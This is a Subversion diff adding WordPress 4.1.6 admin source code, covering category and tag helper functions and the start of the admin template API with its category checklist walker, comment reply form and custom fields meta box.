+function wp_create_categories( $categories, $post_id = '' ) {
+	$cat_ids = array ();
+	foreach ($categories as $category) {
+		if ($id = category_exists($category))
+			$cat_ids[] = $id;
+		else
+			if ($id = wp_create_category($category))
+				$cat_ids[] = $id;
+	}
+
+	if ( $post_id )
+		wp_set_post_categories($post_id, $cat_ids);
+
+	return $cat_ids;
+}
+
+/**
+ * Updates an existing Category or creates a new Category.
+ *
+ * @since 2.0.0
+ * @since 2.5.0 $wp_error parameter was added.
+ * @since 3.0.0 The 'taxonomy' argument was added.
+ *
+ * @param array $catarr {
+ *     Array of arguments for inserting a new category.
+ *
+ *     @type int        $cat_ID               Categoriy ID. A non-zero value updates an existing category.
+ *                                            Default 0.
+ *     @type string     $taxonomy             Taxonomy slug. Defualt 'category'.
+ *     @type string     $cat_nam              Category name. Default empty.
+ *     @type string     $category_description Category description. Default empty.
+ *     @type string     $category_nicename    Category nice (display) name. Default empty.
+ *     @type int|string $category_parent      Category parent ID. Default empty.
+ * }
+ * @param bool  $wp_error Optional. Default false.
+ * @return int|object The ID number of the new or updated Category on success. Zero or a WP_Error on failure,
+ *                    depending on param $wp_error.
+ */
+function wp_insert_category( $catarr, $wp_error = false ) {
+	$cat_defaults = array( 'cat_ID' => 0, 'taxonomy' => 'category', 'cat_name' => '', 'category_description' => '', 'category_nicename' => '', 'category_parent' => '' );
+	$catarr = wp_parse_args( $catarr, $cat_defaults );
+
+	if ( trim( $catarr['cat_name'] ) == '' ) {
+		if ( ! $wp_error ) {
+			return 0;
+		} else {
+			return new WP_Error( 'cat_name', __( 'You did not enter a category name.' ) );
+		}
+	}
+
+	$catarr['cat_ID'] = (int) $catarr['cat_ID'];
+
+	// Are we updating or creating?
+	$update = ! empty ( $catarr['cat_ID'] );
+
+	$name = $catarr['cat_name'];
+	$description = $catarr['category_description'];
+	$slug = $catarr['category_nicename'];
+	$parent = (int) $catarr['category_parent'];
+	if ( $parent < 0 ) {
+		$parent = 0;
+	}
+
+	if ( empty( $parent )
+		|| ! term_exists( $parent, $catarr['taxonomy'] )
+		|| ( $catarr['cat_ID'] && term_is_ancestor_of( $catarr['cat_ID'], $parent, $catarr['taxonomy'] ) ) ) {
+		$parent = 0;
+	}
+
+	$args = compact('name', 'slug', 'parent', 'description');
+
+	if ( $update ) {
+		$catarr['cat_ID'] = wp_update_term( $catarr['cat_ID'], $catarr['taxonomy'], $args );
+	} else {
+		$catarr['cat_ID'] = wp_insert_term( $catarr['cat_name'], $catarr['taxonomy'], $args );
+	}
+
+	if ( is_wp_error( $catarr['cat_ID'] ) ) {
+		if ( $wp_error ) {
+			return $catarr['cat_ID'];
+		} else {
+			return 0;
+		}
+	}
+	return $catarr['cat_ID']['term_id'];
+}
+
+/**
+ * Aliases wp_insert_category() with minimal args.
+ *
+ * If you want to update only some fields of an existing category, call this
+ * function with only the new values set inside $catarr.
+ *
+ * @since 2.0.0
+ *
+ * @param array $catarr The 'cat_ID' value is required. All other keys are optional.
+ * @return int|bool The ID number of the new or updated Category on success. Zero or FALSE on failure.
+ */
+function wp_update_category($catarr) {
+	$cat_ID = (int) $catarr['cat_ID'];
+
+	if ( isset($catarr['category_parent']) && ($cat_ID == $catarr['category_parent']) )
+		return false;
+
+	// First, get all of the original fields
+	$category = get_term( $cat_ID, 'category', ARRAY_A );
+	_make_cat_compat( $category );
+
+	// Escape data pulled from DB.
+	$category = wp_slash($category);
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$catarr = array_merge($category, $catarr);
+
+	return wp_insert_category($catarr);
+}
+
+//
+// Tags
+//
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.3.0
+ *
+ * @param int|string $tag_name
+ * @return mixed
+ */
+function tag_exists($tag_name) {
+	return term_exists($tag_name, 'post_tag');
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.3.0
+ *
+ * @param int|string $tag_name
+ * @return array|WP_Error
+ */
+function wp_create_tag($tag_name) {
+	return wp_create_term( $tag_name, 'post_tag');
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.3.0
+ *
+ * @param int $post_id
+ * @return string|bool|WP_Error
+ */
+function get_tags_to_edit( $post_id, $taxonomy = 'post_tag' ) {
+	return get_terms_to_edit( $post_id, $taxonomy);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.8.0
+ *
+ * @param int $post_id
+ * @return string|bool|WP_Error
+ */
+function get_terms_to_edit( $post_id, $taxonomy = 'post_tag' ) {
+	$post_id = (int) $post_id;
+	if ( !$post_id )
+		return false;
+
+	$terms = get_object_term_cache( $post_id, $taxonomy );
+	if ( false === $terms ) {
+		$terms = wp_get_object_terms( $post_id, $taxonomy );
+		wp_cache_add( $post_id, $terms, $taxonomy . '_relationships' );
+	}
+
+	if ( ! $terms ) {
+		return false;
+	}
+	if ( is_wp_error( $terms ) ) {
+		return $terms;
+	}
+	$term_names = array();
+	foreach ( $terms as $term ) {
+		$term_names[] = $term->name;
+	}
+
+	$terms_to_edit = esc_attr( join( ',', $term_names ) );
+
+	/**
+	 * Filter the comma-separated list of terms available to edit.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @see get_terms_to_edit()
+	 *
+	 * @param array  $terms_to_edit An array of terms.
+	 * @param string $taxonomy     The taxonomy for which to retrieve terms. Default 'post_tag'.
+	 */
+	$terms_to_edit = apply_filters( 'terms_to_edit', $terms_to_edit, $taxonomy );
+
+	return $terms_to_edit;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.8.0
+ *
+ * @param int|string $tag_name
+ * @return array|WP_Error
+ */
+function wp_create_term($tag_name, $taxonomy = 'post_tag') {
+	if ( $id = term_exists($tag_name, $taxonomy) )
+		return $id;
+
+	return wp_insert_term($tag_name, $taxonomy);
+}
Index: /tags/4.1.6/src/wp-admin/includes/template.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/template.php	(revision 33402)
@@ -0,0 +1,2178 @@
+<?php
+/**
+ * Template WordPress Administration API.
+ *
+ * A Big Mess. Also some neat functions that are nicely written.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+//
+// Category Checklists
+//
+
+/**
+ * Walker to output an unordered list of category checkbox input elements.
+ *
+ * @since 2.5.1
+ *
+ * @see Walker
+ * @see wp_category_checklist()
+ * @see wp_terms_checklist()
+ */
+class Walker_Category_Checklist extends Walker {
+	public $tree_type = 'category';
+	public $db_fields = array ('parent' => 'parent', 'id' => 'term_id'); //TODO: decouple this
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @see Walker:start_lvl()
+	 *
+	 * @since 2.5.1
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of category. Used for tab indentation.
+	 * @param array  $args   An array of arguments. @see wp_terms_checklist()
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent<ul class='children'>\n";
+	}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * @see Walker::end_lvl()
+	 *
+	 * @since 2.5.1
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of category. Used for tab indentation.
+	 * @param array  $args   An array of arguments. @see wp_terms_checklist()
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent</ul>\n";
+	}
+
+	/**
+	 * Start the element output.
+	 *
+	 * @see Walker::start_el()
+	 *
+	 * @since 2.5.1
+	 *
+	 * @param string $output   Passed by reference. Used to append additional content.
+	 * @param object $category The current term object.
+	 * @param int    $depth    Depth of the term in reference to parents. Default 0.
+	 * @param array  $args     An array of arguments. @see wp_terms_checklist()
+	 * @param int    $id       ID of the current term.
+	 */
+	public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) {
+		if ( empty( $args['taxonomy'] ) ) {
+			$taxonomy = 'category';
+		} else {
+			$taxonomy = $args['taxonomy'];
+		}
+
+		if ( $taxonomy == 'category' ) {
+			$name = 'post_category';
+		} else {
+			$name = 'tax_input[' . $taxonomy . ']';
+		}
+		$args['popular_cats'] = empty( $args['popular_cats'] ) ? array() : $args['popular_cats'];
+		$class = in_array( $category->term_id, $args['popular_cats'] ) ? ' class="popular-category"' : '';
+
+		$args['selected_cats'] = empty( $args['selected_cats'] ) ? array() : $args['selected_cats'];
+
+		/** This filter is documented in wp-includes/category-template.php */
+		$output .= "\n<li id='{$taxonomy}-{$category->term_id}'$class>" .
+			'<label class="selectit"><input value="' . $category->term_id . '" type="checkbox" name="'.$name.'[]" id="in-'.$taxonomy.'-' . $category->term_id . '"' .
+			checked( in_array( $category->term_id, $args['selected_cats'] ), true, false ) .
+			disabled( empty( $args['disabled'] ), false, false ) . ' /> ' .
+			esc_html( apply_filters( 'the_category', $category->name ) ) . '</label>';
+	}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * @see Walker::end_el()
+	 *
+	 * @since 2.5.1
+	 *
+	 * @param string $output   Passed by reference. Used to append additional content.
+	 * @param object $category The current term object.
+	 * @param int    $depth    Depth of the term in reference to parents. Default 0.
+	 * @param array  $args     An array of arguments. @see wp_terms_checklist()
+	 */
+	public function end_el( &$output, $category, $depth = 0, $args = array() ) {
+		$output .= "</li>\n";
+	}
+}
+
+/**
+ * Output an unordered list of checkbox input elements labelled
+ * with category names.
+ *
+ * @since 2.5.1
+ *
+ * @todo Properly document optional arguments as such.
+ *
+ * @see wp_terms_checklist()
+ *
+ * @param int $post_id Mark categories associated with this post as checked. $selected_cats must not be an array.
+ * @param int $descendants_and_self ID of the category to output along with its descendents.
+ * @param bool|array $selected_cats List of categories to mark as checked.
+ * @param bool|array $popular_cats Override the list of categories that receive the "popular-category" class.
+ * @param object $walker Walker object to use to build the output.
+ * @param bool $checked_ontop Move checked items out of the hierarchy and to the top of the list.
+ */
+function wp_category_checklist( $post_id = 0, $descendants_and_self = 0, $selected_cats = false, $popular_cats = false, $walker = null, $checked_ontop = true ) {
+	wp_terms_checklist( $post_id, array(
+		'taxonomy' => 'category',
+		'descendants_and_self' => $descendants_and_self,
+		'selected_cats' => $selected_cats,
+		'popular_cats' => $popular_cats,
+		'walker' => $walker,
+		'checked_ontop' => $checked_ontop
+	) );
+}
+
+/**
+ * Output an unordered list of checkbox input elements labelled with term names.
+ *
+ * Taxonomy independent version of {@see wp_category_checklist()}.
+ *
+ * @since 3.0.0
+ *
+ * @todo Properly document optional default arguments.
+ *
+ * @param int   $post_id Post ID.
+ * @param array $args    Arguments to form the terms checklist.
+ */
+function wp_terms_checklist( $post_id = 0, $args = array() ) {
+ 	$defaults = array(
+		'descendants_and_self' => 0,
+		'selected_cats' => false,
+		'popular_cats' => false,
+		'walker' => null,
+		'taxonomy' => 'category',
+		'checked_ontop' => true
+	);
+
+	/**
+	 * Filter the taxonomy terms checklist arguments.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see wp_terms_checklist()
+	 *
+	 * @param array $args    An array of arguments.
+	 * @param int   $post_id The post ID.
+	 */
+	$params = apply_filters( 'wp_terms_checklist_args', $args, $post_id );
+
+	$r = wp_parse_args( $params, $defaults );
+
+	if ( empty( $r['walker'] ) || ! is_a( $r['walker'], 'Walker' ) ) {
+		$walker = new Walker_Category_Checklist;
+	} else {
+		$walker = $r['walker'];
+	}
+
+	$taxonomy = $r['taxonomy'];
+	$descendants_and_self = (int) $r['descendants_and_self'];
+
+	$args = array( 'taxonomy' => $taxonomy );
+
+	$tax = get_taxonomy( $taxonomy );
+	$args['disabled'] = ! current_user_can( $tax->cap->assign_terms );
+
+	if ( is_array( $r['selected_cats'] ) ) {
+		$args['selected_cats'] = $r['selected_cats'];
+	} elseif ( $post_id ) {
+		$args['selected_cats'] = wp_get_object_terms( $post_id, $taxonomy, array_merge( $args, array( 'fields' => 'ids' ) ) );
+	} else {
+		$args['selected_cats'] = array();
+	}
+	if ( is_array( $r['popular_cats'] ) ) {
+		$args['popular_cats'] = $r['popular_cats'];
+	} else {
+		$args['popular_cats'] = get_terms( $taxonomy, array(
+			'fields' => 'ids',
+			'orderby' => 'count',
+			'order' => 'DESC',
+			'number' => 10,
+			'hierarchical' => false
+		) );
+	}
+	if ( $descendants_and_self ) {
+		$categories = (array) get_terms( $taxonomy, array(
+			'child_of' => $descendants_and_self,
+			'hierarchical' => 0,
+			'hide_empty' => 0
+		) );
+		$self = get_term( $descendants_and_self, $taxonomy );
+		array_unshift( $categories, $self );
+	} else {
+		$categories = (array) get_terms( $taxonomy, array( 'get' => 'all' ) );
+	}
+
+	if ( $r['checked_ontop'] ) {
+		// Post process $categories rather than adding an exclude to the get_terms() query to keep the query the same across all posts (for any query cache)
+		$checked_categories = array();
+		$keys = array_keys( $categories );
+
+		foreach( $keys as $k ) {
+			if ( in_array( $categories[$k]->term_id, $args['selected_cats'] ) ) {
+				$checked_categories[] = $categories[$k];
+				unset( $categories[$k] );
+			}
+		}
+
+		// Put checked cats on top
+		echo call_user_func_array( array( $walker, 'walk' ), array( $checked_categories, 0, $args ) );
+	}
+	// Then the rest of them
+	echo call_user_func_array( array( $walker, 'walk' ), array( $categories, 0, $args ) );
+}
+
+/**
+ * Retrieve a list of the most popular terms from the specified taxonomy.
+ *
+ * If the $echo argument is true then the elements for a list of checkbox
+ * `<input>` elements labelled with the names of the selected terms is output.
+ * If the $post_ID global isn't empty then the terms associated with that
+ * post will be marked as checked.
+ *
+ * @since 2.5.0
+ *
+ * @param string $taxonomy Taxonomy to retrieve terms from.
+ * @param int $default Unused.
+ * @param int $number Number of terms to retrieve. Defaults to 10.
+ * @param bool $echo Optionally output the list as well. Defaults to true.
+ * @return array List of popular term IDs.
+ */
+function wp_popular_terms_checklist( $taxonomy, $default = 0, $number = 10, $echo = true ) {
+	$post = get_post();
+
+	if ( $post && $post->ID )
+		$checked_terms = wp_get_object_terms($post->ID, $taxonomy, array('fields'=>'ids'));
+	else
+		$checked_terms = array();
+
+	$terms = get_terms( $taxonomy, array( 'orderby' => 'count', 'order' => 'DESC', 'number' => $number, 'hierarchical' => false ) );
+
+	$tax = get_taxonomy($taxonomy);
+
+	$popular_ids = array();
+	foreach ( (array) $terms as $term ) {
+		$popular_ids[] = $term->term_id;
+		if ( !$echo ) // hack for AJAX use
+			continue;
+		$id = "popular-$taxonomy-$term->term_id";
+		$checked = in_array( $term->term_id, $checked_terms ) ? 'checked="checked"' : '';
+		?>
+
+		<li id="<?php echo $id; ?>" class="popular-category">
+			<label class="selectit">
+				<input id="in-<?php echo $id; ?>" type="checkbox" <?php echo $checked; ?> value="<?php echo (int) $term->term_id; ?>" <?php disabled( ! current_user_can( $tax->cap->assign_terms ) ); ?> />
+				<?php
+				/** This filter is documented in wp-includes/category-template.php */
+				echo esc_html( apply_filters( 'the_category', $term->name ) );
+				?>
+			</label>
+		</li>
+
+		<?php
+	}
+	return $popular_ids;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.1
+ *
+ * @param int $link_id
+ */
+function wp_link_category_checklist( $link_id = 0 ) {
+	$default = 1;
+
+	if ( $link_id ) {
+		$checked_categories = wp_get_link_cats( $link_id );
+		// No selected categories, strange
+		if ( ! count( $checked_categories ) )
+			$checked_categories[] = $default;
+	} else {
+		$checked_categories[] = $default;
+	}
+
+	$categories = get_terms( 'link_category', array( 'orderby' => 'name', 'hide_empty' => 0 ) );
+
+	if ( empty( $categories ) )
+		return;
+
+	foreach ( $categories as $category ) {
+		$cat_id = $category->term_id;
+
+		/** This filter is documented in wp-includes/category-template.php */
+		$name = esc_html( apply_filters( 'the_category', $category->name ) );
+		$checked = in_array( $cat_id, $checked_categories ) ? ' checked="checked"' : '';
+		echo '<li id="link-category-', $cat_id, '"><label for="in-link-category-', $cat_id, '" class="selectit"><input value="', $cat_id, '" type="checkbox" name="link_category[]" id="in-link-category-', $cat_id, '"', $checked, '/> ', $name, "</label></li>";
+	}
+}
+
+// adds hidden fields with the data for use in the inline editor for posts and pages
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.7.0
+ *
+ * @param WP_Post $post
+ */
+function get_inline_data($post) {
+	$post_type_object = get_post_type_object($post->post_type);
+	if ( ! current_user_can( 'edit_post', $post->ID ) )
+		return;
+
+	$title = esc_textarea( trim( $post->post_title ) );
+
+	/** This filter is documented in wp-admin/edit-tag-form.php */
+	echo '
+<div class="hidden" id="inline_' . $post->ID . '">
+	<div class="post_title">' . $title . '</div>
+	<div class="post_name">' . apply_filters( 'editable_slug', $post->post_name ) . '</div>
+	<div class="post_author">' . $post->post_author . '</div>
+	<div class="comment_status">' . esc_html( $post->comment_status ) . '</div>
+	<div class="ping_status">' . esc_html( $post->ping_status ) . '</div>
+	<div class="_status">' . esc_html( $post->post_status ) . '</div>
+	<div class="jj">' . mysql2date( 'd', $post->post_date, false ) . '</div>
+	<div class="mm">' . mysql2date( 'm', $post->post_date, false ) . '</div>
+	<div class="aa">' . mysql2date( 'Y', $post->post_date, false ) . '</div>
+	<div class="hh">' . mysql2date( 'H', $post->post_date, false ) . '</div>
+	<div class="mn">' . mysql2date( 'i', $post->post_date, false ) . '</div>
+	<div class="ss">' . mysql2date( 's', $post->post_date, false ) . '</div>
+	<div class="post_password">' . esc_html( $post->post_password ) . '</div>';
+
+	if ( $post_type_object->hierarchical )
+		echo '<div class="post_parent">' . $post->post_parent . '</div>';
+
+	if ( $post->post_type == 'page' )
+		echo '<div class="page_template">' . esc_html( get_post_meta( $post->ID, '_wp_page_template', true ) ) . '</div>';
+
+	if ( post_type_supports( $post->post_type, 'page-attributes' ) )
+		echo '<div class="menu_order">' . $post->menu_order . '</div>';
+
+	$taxonomy_names = get_object_taxonomies( $post->post_type );
+	foreach ( $taxonomy_names as $taxonomy_name) {
+		$taxonomy = get_taxonomy( $taxonomy_name );
+
+		if ( $taxonomy->hierarchical && $taxonomy->show_ui ) {
+
+			$terms = get_object_term_cache( $post->ID, $taxonomy_name );
+			if ( false === $terms ) {
+				$terms = wp_get_object_terms( $post->ID, $taxonomy_name );
+				wp_cache_add( $post->ID, $terms, $taxonomy_name . '_relationships' );
+			}
+			$term_ids = empty( $terms ) ? array() : wp_list_pluck( $terms, 'term_id' );
+
+			echo '<div class="post_category" id="' . $taxonomy_name . '_' . $post->ID . '">' . implode( ',', $term_ids ) . '</div>';
+
+		} elseif ( $taxonomy->show_ui ) {
+
+			echo '<div class="tags_input" id="'.$taxonomy_name.'_'.$post->ID.'">'
+				. esc_html( str_replace( ',', ', ', get_terms_to_edit( $post->ID, $taxonomy_name ) ) ) . '</div>';
+
+		}
+	}
+
+	if ( !$post_type_object->hierarchical )
+		echo '<div class="sticky">' . (is_sticky($post->ID) ? 'sticky' : '') . '</div>';
+
+	if ( post_type_supports( $post->post_type, 'post-formats' ) )
+		echo '<div class="post_format">' . esc_html( get_post_format( $post->ID ) ) . '</div>';
+
+	echo '</div>';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.7.0
+ *
+ * @param int $position
+ * @param bool $checkbox
+ * @param string $mode
+ * @param bool $table_row
+ */
+function wp_comment_reply($position = '1', $checkbox = false, $mode = 'single', $table_row = true) {
+
+	/**
+	 * Filter the in-line comment reply-to form output in the Comments
+	 * list table.
+	 *
+	 * Returning a non-empty value here will short-circuit display
+	 * of the in-line comment-reply form in the Comments list table,
+	 * echoing the returned value instead.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see wp_comment_reply()
+	 *
+	 * @param string $content The reply-to form content.
+	 * @param array  $args    An array of default args.
+	 */
+	$content = apply_filters( 'wp_comment_reply', '', array( 'position' => $position, 'checkbox' => $checkbox, 'mode' => $mode ) );
+
+	if ( ! empty($content) ) {
+		echo $content;
+		return;
+	}
+
+	if ( $mode == 'single' ) {
+		$wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
+	} else {
+		$wp_list_table = _get_list_table('WP_Comments_List_Table');
+	}
+
+?>
+<form method="get" action="">
+<?php if ( $table_row ) : ?>
+<table style="display:none;"><tbody id="com-reply"><tr id="replyrow" style="display:none;"><td colspan="<?php echo $wp_list_table->get_column_count(); ?>" class="colspanchange">
+<?php else : ?>
+<div id="com-reply" style="display:none;"><div id="replyrow" style="display:none;">
+<?php endif; ?>
+	<div id="replyhead" style="display:none;"><h5><?php _e( 'Reply to Comment' ); ?></h5></div>
+	<div id="addhead" style="display:none;"><h5><?php _e('Add new Comment'); ?></h5></div>
+	<div id="edithead" style="display:none;">
+		<div class="inside">
+		<label for="author"><?php _e('Name') ?></label>
+		<input type="text" name="newcomment_author" size="50" value="" id="author" />
+		</div>
+
+		<div class="inside">
+		<label for="author-email"><?php _e('E-mail') ?></label>
+		<input type="text" name="newcomment_author_email" size="50" value="" id="author-email" />
+		</div>
+
+		<div class="inside">
+		<label for="author-url"><?php _e('URL') ?></label>
+		<input type="text" id="author-url" name="newcomment_author_url" class="code" size="103" value="" />
+		</div>
+		<div style="clear:both;"></div>
+	</div>
+
+	<div id="replycontainer">
+	<?php
+	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
+	wp_editor( '', 'replycontent', array( 'media_buttons' => false, 'tinymce' => false, 'quicktags' => $quicktags_settings ) );
+	?>
+	</div>
+
+	<p id="replysubmit" class="submit">
+	<a href="#comments-form" class="save button-primary alignright">
+	<span id="addbtn" style="display:none;"><?php _e('Add Comment'); ?></span>
+	<span id="savebtn" style="display:none;"><?php _e('Update Comment'); ?></span>
+	<span id="replybtn" style="display:none;"><?php _e('Submit Reply'); ?></span></a>
+	<a href="#comments-form" class="cancel button-secondary alignleft"><?php _e('Cancel'); ?></a>
+	<span class="waiting spinner"></span>
+	<span class="error" style="display:none;"></span>
+	<br class="clear" />
+	</p>
+
+	<input type="hidden" name="user_ID" id="user_ID" value="<?php echo get_current_user_id(); ?>" />
+	<input type="hidden" name="action" id="action" value="" />
+	<input type="hidden" name="comment_ID" id="comment_ID" value="" />
+	<input type="hidden" name="comment_post_ID" id="comment_post_ID" value="" />
+	<input type="hidden" name="status" id="status" value="" />
+	<input type="hidden" name="position" id="position" value="<?php echo $position; ?>" />
+	<input type="hidden" name="checkbox" id="checkbox" value="<?php echo $checkbox ? 1 : 0; ?>" />
+	<input type="hidden" name="mode" id="mode" value="<?php echo esc_attr($mode); ?>" />
+	<?php
+		wp_nonce_field( 'replyto-comment', '_ajax_nonce-replyto-comment', false );
+		if ( current_user_can( 'unfiltered_html' ) )
+			wp_nonce_field( 'unfiltered-html-comment', '_wp_unfiltered_html_comment', false );
+	?>
+<?php if ( $table_row ) : ?>
+</td></tr></tbody></table>
+<?php else : ?>
+</div></div>
+<?php endif; ?>
+</form>
+<?php
+}
+
+/**
+ * Output 'undo move to trash' text for comments
+ *
+ * @since 2.9.0
+ */
+function wp_comment_trashnotice() {
+?>
+<div class="hidden" id="trash-undo-holder">
+	<div class="trash-undo-inside"><?php printf(__('Comment by %s moved to the trash.'), '<strong></strong>'); ?> <span class="undo untrash"><a href="#"><?php _e('Undo'); ?></a></span></div>
+</div>
+<div class="hidden" id="spam-undo-holder">
+	<div class="spam-undo-inside"><?php printf(__('Comment by %s marked as spam.'), '<strong></strong>'); ?> <span class="undo unspam"><a href="#"><?php _e('Undo'); ?></a></span></div>
+</div>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 1.2.0
+ *
+ * @param array $meta
+ */
+function list_meta( $meta ) {
+	// Exit if no meta
+	if ( ! $meta ) {
+		echo '
+<table id="list-table" style="display: none;">
+	<thead>
+	<tr>
+		<th class="left">' . _x( 'Name', 'meta name' ) . '</th>
+		<th>' . __( 'Value' ) . '</th>
+	</tr>
+	</thead>
+	<tbody id="the-list" data-wp-lists="list:meta">
+	<tr><td></td></tr>
+	</tbody>
+</table>'; //TBODY needed for list-manipulation JS
+		return;
+	}
+	$count = 0;
+?>
+<table id="list-table">
+	<thead>
+	<tr>
+		<th class="left"><?php _ex( 'Name', 'meta name' ) ?></th>
+		<th><?php _e( 'Value' ) ?></th>
+	</tr>
+	</thead>
+	<tbody id='the-list' data-wp-lists='list:meta'>
+<?php
+	foreach ( $meta as $entry )
+		echo _list_meta_row( $entry, $count );
+?>
+	</tbody>
+</table>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param array $entry
+ * @param int   $count
+ * @return string
+ */
+function _list_meta_row( $entry, &$count ) {
+	static $update_nonce = false;
+
+	if ( is_protected_meta( $entry['meta_key'], 'post' ) )
+		return;
+
+	if ( !$update_nonce )
+		$update_nonce = wp_create_nonce( 'add-meta' );
+
+	$r = '';
+	++ $count;
+	if ( $count % 2 )
+		$style = 'alternate';
+	else
+		$style = '';
+
+	if ( is_serialized( $entry['meta_value'] ) ) {
+		if ( is_serialized_string( $entry['meta_value'] ) ) {
+			// This is a serialized string, so we should display it.
+			$entry['meta_value'] = maybe_unserialize( $entry['meta_value'] );
+		} else {
+			// This is a serialized array/object so we should NOT display it.
+			--$count;
+			return;
+		}
+	}
+
+	$entry['meta_key'] = esc_attr($entry['meta_key']);
+	$entry['meta_value'] = esc_textarea( $entry['meta_value'] ); // using a <textarea />
+	$entry['meta_id'] = (int) $entry['meta_id'];
+
+	$delete_nonce = wp_create_nonce( 'delete-meta_' . $entry['meta_id'] );
+
+	$r .= "\n\t<tr id='meta-{$entry['meta_id']}' class='$style'>";
+	$r .= "\n\t\t<td class='left'><label class='screen-reader-text' for='meta-{$entry['meta_id']}-key'>" . __( 'Key' ) . "</label><input name='meta[{$entry['meta_id']}][key]' id='meta-{$entry['meta_id']}-key' type='text' size='20' value='{$entry['meta_key']}' />";
+
+	$r .= "\n\t\t<div class='submit'>";
+	$r .= get_submit_button( __( 'Delete' ), 'deletemeta small', "deletemeta[{$entry['meta_id']}]", false, array( 'data-wp-lists' => "delete:the-list:meta-{$entry['meta_id']}::_ajax_nonce=$delete_nonce" ) );
+	$r .= "\n\t\t";
+	$r .= get_submit_button( __( 'Update' ), 'updatemeta small', "meta-{$entry['meta_id']}-submit", false, array( 'data-wp-lists' => "add:the-list:meta-{$entry['meta_id']}::_ajax_nonce-add-meta=$update_nonce" ) );
+	$r .= "</div>";
+	$r .= wp_nonce_field( 'change-meta', '_ajax_nonce', false, false );
+	$r .= "</td>";
+
+	$r .= "\n\t\t<td><label class='screen-reader-text' for='meta-{$entry['meta_id']}-value'>" . __( 'Value' ) . "</label><textarea name='meta[{$entry['meta_id']}][value]' id='meta-{$entry['meta_id']}-value' rows='2' cols='30'>{$entry['meta_value']}</textarea></td>\n\t</tr>";
+	return $r;
+}
+
+/**
+ * Prints the form in the Custom Fields meta box.
+ *
+ * @since 1.2.0
+ *
+ * @param WP_Post $post Optional. The post being edited.
+ */
+function meta_form( $post = null ) {
+	global $wpdb;
+	$post = get_post( $post );
+
+	/**
+	 * Filter the number of custom fields to retrieve for the drop-down
+	 * in the Custom Fields meta box.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param int $limit Number of custom fields to retrieve. Default 30.
+	 */
+	$limit = apply_filters( 'postmeta_form_limit', 30 );
+	$sql = "SELECT meta_key
+		FROM $wpdb->postmeta
+		GROUP BY meta_key
+		HAVING meta_key NOT LIKE %s
+		ORDER BY meta_key
+		LIMIT %d";
+	$keys = $wpdb->get_col( $wpdb->prepare( $sql, $wpdb->esc_like( '_' ) . '%', $limit ) );
+	if ( $keys ) {
+		natcasesort( $keys );
+		$meta_key_input_id = 'metakeyselect';
+	} else {
+		$meta_key_input_id = 'metakeyinput';
+	}
+?>
+<p><strong><?php _e( 'Add New Custom Field:' ) ?></strong></p>
+<table id="newmeta">
+<thead>
+<tr>
+<th class="left"><label for="<?php echo $meta_key_input_id; ?>"><?php _ex( 'Name', 'meta name' ) ?></label></th>
+<th><label for="metavalue"><?php _e( 'Value' ) ?></label></th>
+</tr>
+</thead>
+
+<tbody>
+<tr>
+<td id="newmetaleft" class="left">
+<?php if ( $keys ) { ?>
+<select id="metakeyselect" name="metakeyselect">
+<option value="#NONE#"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+<?php
+
+	foreach ( $keys as $key ) {
+		if ( is_protected_meta( $key, 'post' ) || ! current_user_can( 'add_post_meta', $post->ID, $key ) )
+			continue;
+		echo "\n<option value='" . esc_attr($key) . "'>" . esc_html($key) . "</option>";
+	}
+?>
+</select>
+<input class="hide-if-js" type="text" id="metakeyinput" name="metakeyinput" value="" />
+<a href="#postcustomstuff" class="hide-if-no-js" onclick="jQuery('#metakeyinput, #metakeyselect, #enternew, #cancelnew').toggle();return false;">
+<span id="enternew"><?php _e('Enter new'); ?></span>
+<span id="cancelnew" class="hidden"><?php _e('Cancel'); ?></span></a>
+<?php } else { ?>
+<input type="text" id="metakeyinput" name="metakeyinput" value="" />
+<?php } ?>
+</td>
+<td><textarea id="metavalue" name="metavalue" rows="2" cols="25"></textarea></td>
+</tr>
+
+<tr><td colspan="2">
+<div class="submit">
+<?php submit_button( __( 'Add Custom Field' ), 'secondary', 'addmeta', false, array( 'id' => 'newmeta-submit', 'data-wp-lists' => 'add:the-list:newmeta' ) ); ?>
+</div>
+<?php wp_nonce_field( 'add-meta', '_ajax_nonce-add-meta', false ); ?>
+</td></tr>
+</tbody>
+</table>
+<?php
+
+}
+
+/**
+ * Print out HTML form date elements for editing post or comment publish date.
+ *
+ * @since 0.71
+ *
+ * @param int $edit      Accepts 1|true for editing the date, 0|false for adding the date.
+ * @param int $for_post  Accepts 1|true for applying the date to a post, 0|false for a comment.
+ * @param int $tab_index The tabindex attribute to add. Default 0.
